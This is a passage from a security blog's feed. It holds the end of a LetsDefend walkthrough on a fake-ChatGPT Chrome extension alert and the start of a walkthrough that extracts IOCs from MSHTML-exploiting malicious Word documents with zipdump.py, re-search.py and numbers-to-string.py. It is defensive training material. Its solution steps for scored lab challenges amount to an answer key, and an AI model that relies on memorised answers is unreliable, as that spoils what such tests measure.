id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;And there we have it — mission accomplished!&lt;/p&gt;&#xA;&lt;p&gt;As we wrap up the &lt;em&gt;SOC202 — FakeGPT Malicious Chrome Extension&lt;/em&gt; alert, let&amp;rsquo;s recap what we discovered. Through our investigation of the &lt;em&gt;endpoint logs&lt;/em&gt;, we identified a suspicious &lt;em&gt;Chrome&lt;/em&gt; extension that was allowed to run. Then, we pivoted to external threat intelligence to provide further context, eventually stumbling on the &lt;em&gt;Guardio&lt;/em&gt; report, which confirmed that the extension is malicious. Finally, we hunted for the &lt;em&gt;IOCs&lt;/em&gt; from the same report in the network logs, to uncover communication with the command and control server, which confirmed our findings.&lt;/p&gt;&#xA;&lt;p&gt;Now, you can review your answers in the &lt;em&gt;Closed Alerts&lt;/em&gt; tab and review your report from the &lt;em&gt;Case Management&lt;/em&gt; tab. Awesome job!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;797px&#34; data-flex-grow=&#34;332&#34; height=&#34;361&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/20cca1081d1a29e5e9a1c3085ce154f8_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/20cca1081d1a29e5e9a1c3085ce154f8_MD5_hu_f531f36283af7d69.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/20cca1081d1a29e5e9a1c3085ce154f8_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;419px&#34; data-flex-grow=&#34;174&#34; height=&#34;687&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/7255acd4c1a67fb0d6d2e9670a1f2f87_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/7255acd4c1a67fb0d6d2e9670a1f2f87_MD5_hu_687db20f1556e1a1.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/7255acd4c1a67fb0d6d2e9670a1f2f87_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for providing such a cool, in-depth simulation platform. Their platform continues to be a helpful and fun resource for sharpening my cybersecurity skills and staying ready for the next alert. If you found this walkthrough helpful in leveling up your skills or getting you through a tricky challenge, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. We&amp;rsquo;re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Microsoft Learn (mpcmdrun.exe):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-endpoint/command-line-arguments-microsoft-defender-antivirus&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/defender-endpoint/command-line-arguments-microsoft-defender-antivirus&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (File Hash):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.4#description&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.4#description&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Any.Run&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://app.any.run/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.any.run/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Any.Run Task:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Guardio &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;FakeGPT&amp;rdquo;&#xA;: New Variant of Fake-ChatGPT Chrome Extension Stealing Facebook Ad Accounts with Thousands of Daily Installs:** &lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Guardio &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;FakeGPT&amp;rdquo;&#xA;#2: Open-Source Turned Malicious in Another Variant of the Facebook Account-Stealer Chrome Extension:** &lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Command and Control (TA0011):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0011/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/tactics/TA0011/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — MSHTML Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/</link>
            <pubDate>Sun, 25 Aug 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/f399aed5b0ed2aabf7ca7503f34b293d_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — MSHTML Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--mshtml-challenge-walkthrough&#34;&gt;LetsDefend — MSHTML Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;maldoc-analysis-using-zipdumppy-re-searchpy--virustotal&#34;&gt;Maldoc analysis using zipdump.py, re-search.py, &amp;amp; VirusTotal&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/f399aed5b0ed2aabf7ca7503f34b293d_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/mshtml&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/mshtml&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Have you ever come across a suspicious document file and wondered if it&amp;rsquo;s doing something malicious in the background? If so, welcome to another weekly walkthrough — you&amp;rsquo;ve stumbled on the right blog!&lt;/p&gt;&#xA;&lt;p&gt;This week, we&amp;rsquo;re tackling the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/mshtml&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MSHTML&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; Our mission is to analyze four malicious document (maldoc) samples, discover the IP addresses and domains hidden within them, and use that information to figure out which vulnerability or &lt;em&gt;CVE&lt;/em&gt; that the threat actor is exploiting.&lt;/p&gt;&#xA;&lt;p&gt;Throughout this walkthrough, we&amp;rsquo;ll explore the inner workings of &lt;em&gt;.docx&lt;/em&gt; files to find &lt;em&gt;indicators of compromise&lt;/em&gt; (&lt;em&gt;IOCs&lt;/em&gt;). To do that, we&amp;rsquo;ll use several tools from &lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/my-software/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Didier Stevens&lt;/em&gt;&lt;/a&gt; including &lt;em&gt;zipdump&lt;/em&gt;, &lt;em&gt;re-search&lt;/em&gt;, and &lt;em&gt;numbers-to-string&lt;/em&gt;, to extract the artifacts. Then, we&amp;rsquo;ll leverage &lt;a class=&#34;link&#34; href=&#34;http://virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt; to correlate threat intelligence and determine the exploited &lt;em&gt;CVE&lt;/em&gt;. Sounds like a fun time!&lt;/p&gt;&#xA;&lt;p&gt;Although &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; rates this challenge as &lt;em&gt;Hard&lt;/em&gt;, we&amp;rsquo;ll go through it step-by-step to make it much more accessible. What are we waiting for? Thanks for reading along with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/mshtml&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/mshtml&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;2021&amp;rsquo;s 0-Day MSHTML&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-examing-the-employees_contact_audit_oct_2021docx-file-what-is-the-malicious-ip-in-the-docxfile&#34;&gt;Question 1: Examing the Employees_Contact_Audit_Oct_2021.docx file, what is the malicious IP in the docx file?&#xA;&lt;/h3&gt;&lt;p&gt;All right, let&amp;rsquo;s jump right in! But before we go too far down the rabbit hole, let&amp;rsquo;s check out the &lt;em&gt;Tools&lt;/em&gt; folder on the &lt;em&gt;Desktop&lt;/em&gt; to see what we have available at our disposal to work through this challenge.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;619px&#34; data-flex-grow=&#34;258&#34; height=&#34;310&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/24678966f296e7b21465d8716feeea98_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;For &lt;strong&gt;Question 1&lt;/strong&gt;, we are going to be performing some analysis on a &lt;em&gt;.docx&lt;/em&gt; file. It wouldn&amp;rsquo;t be much fun if we could simply just open it and find our answer, right?&lt;/p&gt;&#xA;&lt;p&gt;With that in mind, let&amp;rsquo;s first get some background about the structure of the document&amp;rsquo;s format from the &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;SANS Analyzing Malicious Documents cheat sheet&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;OOXML document files (.docx, .xlsm, etc.) supported by Microsoft Office are compressed zip archives.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Interesting, since a &lt;em&gt;.docx&lt;/em&gt; file is basically a &lt;em&gt;zip archive&lt;/em&gt;, let&amp;rsquo;s go back and see what tool in the &lt;em&gt;Tools&lt;/em&gt; folder might be able to help with this task. Maybe we can utilize &lt;a class=&#34;link&#34; href=&#34;https://github.com/DidierStevens/DidierStevensSuite/blob/master/zipdump.py&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Didier Stevens&amp;rsquo; zipdump.py&lt;/em&gt;&lt;/a&gt;? According to the &lt;em&gt;SANS cheat sheet&lt;/em&gt;, this utility can be used to &amp;quot; # &amp;ldquo;examine contents of OOXML file&amp;rdquo;— it sounds like this might fit the bill, let&amp;rsquo;s try it!&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll use the following syntax to perform a basic analysis on the document:&lt;/p&gt;&#xA;&lt;p&gt;python3 zipdump.py /root/Desktop/ChallengeFiles/Employees_Contact_Audit_Oct_2021.docx&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;708px&#34; data-flex-grow=&#34;295&#34; height=&#34;271&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/66b88cfd792718bc8449527b691471de_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We can see that &lt;em&gt;zipdump.py&lt;/em&gt; lists out all the files contained within the &lt;em&gt;.docx&lt;/em&gt; and assigns them an &lt;em&gt;index filename&lt;/em&gt; — there are so many to choose from! Let&amp;rsquo;s start with a broad strokes approach.&lt;/p&gt;&#xA;&lt;p&gt;After consulting the &lt;em&gt;man pages&lt;/em&gt; for &lt;em&gt;zipdump.py,&lt;/em&gt; we can use the — &lt;em&gt;dumpall (-D)&lt;/em&gt; option to dump all these files rather than focus on a specific one for now.&lt;/p&gt;&#xA;&lt;p&gt;But how will that help us analyze the output? For this, we can pipe the output into another Didier Stevens tool, &lt;em&gt;re-search.py.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/2021/02/21/update-re-search-py-version-0-0-16/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;re-search.py&lt;/a&gt; is a tool that uses regular expressions to search through files. You can use regular expressions from a small builtin library, or provide your own regular expressions.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Combining &lt;em&gt;zipdump&lt;/em&gt; and &lt;em&gt;re-search&lt;/em&gt;, we&amp;rsquo;ll use the below command to dump all the indexes in the sample, pipe them into &lt;em&gt;re-search&lt;/em&gt;, and then use the included filters to search the output for unique &lt;em&gt;IPv4 addresses:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;python3 zipdump.py -D /root/Desktop/ChallengeFiles/Employees_Contact_Audit_Oct_2021.docx | python3 re-search.py -n -u ipv4&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;5189px&#34; data-flex-grow=&#34;2162&#34; height=&#34;37&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/02c0d875a3a60f9bee092d919fd87e9a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we&amp;rsquo;ve located an &lt;em&gt;IP address&lt;/em&gt; within the document and found the answer to &lt;strong&gt;Question 1&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;While we&amp;rsquo;re at it, let&amp;rsquo;s do some additional threat intelligence gathering about this &lt;em&gt;IP address&lt;/em&gt; on &lt;em&gt;VirusTotal&lt;/em&gt;. This could come in handy for later in the challenge&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;472px&#34; data-flex-grow=&#34;197&#34; height=&#34;406&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/ea4d5946f7ad6190fe03ff0d0e9a2bdc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2461px&#34; data-flex-grow=&#34;1025&#34; height=&#34;78&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/5a1b62f51d3bff84ed7ae55e04a06788_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-examing-the-employee_w2_formdocx-file-what-is-the-malicious-domain-in-the-docxfile&#34;&gt;Question 2: Examing the Employee_W2_Form.docx file, what is the malicious domain in the docx file?&#xA;&lt;/h3&gt;&lt;p&gt;The same way we solved the previous question, we&amp;rsquo;re going to again combine &lt;em&gt;zipdump&lt;/em&gt; and use the filtering capabilities of &lt;em&gt;re-search&lt;/em&gt; to locate domains within the dump instead of &lt;em&gt;IPv4&lt;/em&gt; like we did in &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s look at the options for &lt;em&gt;re-search&lt;/em&gt; again:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;471px&#34; data-flex-grow=&#34;196&#34; height=&#34;407&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/c79db9dae2f4920a745c4824a03ffbe7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/DidierStevens/DidierStevensSuite/blob/master/re-search.py&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/DidierStevens/DidierStevensSuite/blob/master/re-search.py&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;At first glance, the &lt;em&gt;url&lt;/em&gt; and &lt;em&gt;url-domain&lt;/em&gt; options seem like the best choices to use with &lt;em&gt;re-search.&lt;/em&gt; But we&amp;rsquo;ll hit a snag and not locate any suspicious hits when using these filters. Let&amp;rsquo;s pivot and try a third option, &lt;em&gt;domaintld,&lt;/em&gt; in case the top-level domain is not one that is found with the standard &lt;em&gt;url&lt;/em&gt; filter.&lt;/p&gt;&#xA;&lt;p&gt;python3 zipdump.py -D /root/Desktop/ChallengeFiles/Employee_W2_Form.docx | python3 re-search.py -u -n domaintld&lt;/p&gt;&#xA;&lt;p&gt;There we go! Using the &lt;em&gt;domaintld&lt;/em&gt; filter, we found the below domain in the document and can answer &lt;strong&gt;Question 2&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/90853689098a6a4df28618ff4399f819_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2258px&#34; data-flex-grow=&#34;941&#34; height=&#34;85&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/77cfd89e8474724b7e11fd335d0bfb5f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-examing-the-work_from_home_surveydoc-file-what-is-the-malicious-domain-in-the-docfile&#34;&gt;Question 3: Examing the Work_From_Home_Survey.doc file, what is the malicious domain in the doc file?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, &lt;strong&gt;Question 3&lt;/strong&gt; has us analyzing a &lt;em&gt;.doc&lt;/em&gt; file. While different than &lt;em&gt;.docx,&lt;/em&gt; let&amp;rsquo;s approach this question with the same way that we used to answer &lt;strong&gt;Question 2&lt;/strong&gt; by using &lt;em&gt;zipdump.py&lt;/em&gt; and &lt;em&gt;re-search.py&lt;/em&gt; with the &lt;em&gt;domaintld&lt;/em&gt; filter:&lt;/p&gt;&#xA;&lt;p&gt;python3 zipdump.py -D /root/Desktop/ChallengeFiles/Work_From_Home_Survey.doc | python3 re-search.py -n -u domaintld&lt;/p&gt;&#xA;&lt;p&gt;This seems promising but this domain isn&amp;rsquo;t long enough to answer &lt;strong&gt;Question 3&lt;/strong&gt;&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1959px&#34; data-flex-grow=&#34;816&#34; height=&#34;98&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/93aa8aa8e39d54f44de36470fc483005_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s dig more deeply. Instead of using the &lt;em&gt;zipdump.py -D&lt;/em&gt; option to dump all the streams, let&amp;rsquo;s try to analyze them individually. But how do we know which streams to focus on?&lt;/p&gt;&#xA;&lt;p&gt;Well, let&amp;rsquo;s do some &lt;em&gt;Google&lt;/em&gt; research about the &lt;em&gt;OOXML format&lt;/em&gt; to find out more about which stream contains external references like &lt;em&gt;URLs&lt;/em&gt;. After some brief searching we&amp;rsquo;ll stumble across a &lt;a class=&#34;link&#34; href=&#34;http://officeopenxml.com/anatomyofOOXML.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;reference&lt;/a&gt; sheet for the &lt;em&gt;WordprocessingML&lt;/em&gt; file type from &lt;em&gt;Open Office&lt;/em&gt; which has a very helpful note:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;http://officeopenxml.com/anatomyofOOXML.php&#34;  title=&#34;http://officeopenxml.com/anatomyofOOXML.php&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Office Open XML - Anatomy of an OOXML WordProcessingML File&lt;/strong&gt;&#xA;_Anatomy of a WordProcessingML File A WordprocessingML or docx file is a zip file (a package) containing a number of&amp;hellip;_officeopenxml.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;http://officeopenxml.com/anatomyofOOXML.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;888px&#34; data-flex-grow=&#34;370&#34; height=&#34;216&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/30bcf2afd263557a769e7f73ccb66969_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;http://officeopenxml.com/anatomyofOOXML.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;http://officeopenxml.com/anatomyofOOXML.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;With that background information, we are going to focus on &lt;em&gt;stream 10 (-s 10)&lt;/em&gt; and &lt;em&gt;dump (-d)&lt;/em&gt; the content from this file only using the below command_._&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;744px&#34; data-flex-grow=&#34;310&#34; height=&#34;258&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/8364be66c293088d168cf13983f65676_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;python3 zipdump.py /root/Desktop/ChallengeFiles/Work_From_Home_Survey.doc -s 10 -d&lt;/p&gt;&#xA;&lt;p&gt;This returns a huge blob of output but let&amp;rsquo;s focus on the highlighted section where we see a &lt;em&gt;Relationship Id&lt;/em&gt;. We know from the &lt;em&gt;OOXML&lt;/em&gt; specification that this should be the right location to find external links but it seems to be encoded&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;994px&#34; data-flex-grow=&#34;414&#34; height=&#34;193&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/15e0ea1d0fe75f7f424c9b8ea22e61d5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While we could use something like &lt;em&gt;CyberChef&lt;/em&gt; to perform some decoding/transformation, let&amp;rsquo;s stick with the provided utilities and use another of Didier Stevens&amp;rsquo; tools — &lt;a class=&#34;link&#34; href=&#34;https://github.com/DidierStevens/DidierStevensSuite/blob/master/numbers-to-string.py&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Numbers-to-String.py&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;numbers-to-string.py is a Python program that reads texts files (as arguments on the commandline, &lt;a class=&#34;link&#34; href=&#34;http://twitter.com/here&#34;  title=&#34;Twitter profile for @here&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;@here&lt;/a&gt; files or stdin), extract numbers from these files and converts these to strings.&#xA;The first argument of numbers-to-string.py is a Python expression. This Python expression can use variable n that represents each extracted number.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This should allow us to dump the content of this stream and pipe it into &lt;em&gt;numbers-to-strings&lt;/em&gt; to perform the conversion for us.&lt;/p&gt;&#xA;&lt;p&gt;python3 zipdump.py /root/Desktop/ChallengeFiles/Work_From_Home_Survey.doc -s 10 -d | python3 numbers-to-string.py&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;4571px&#34; data-flex-grow=&#34;1904&#34; height=&#34;63&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 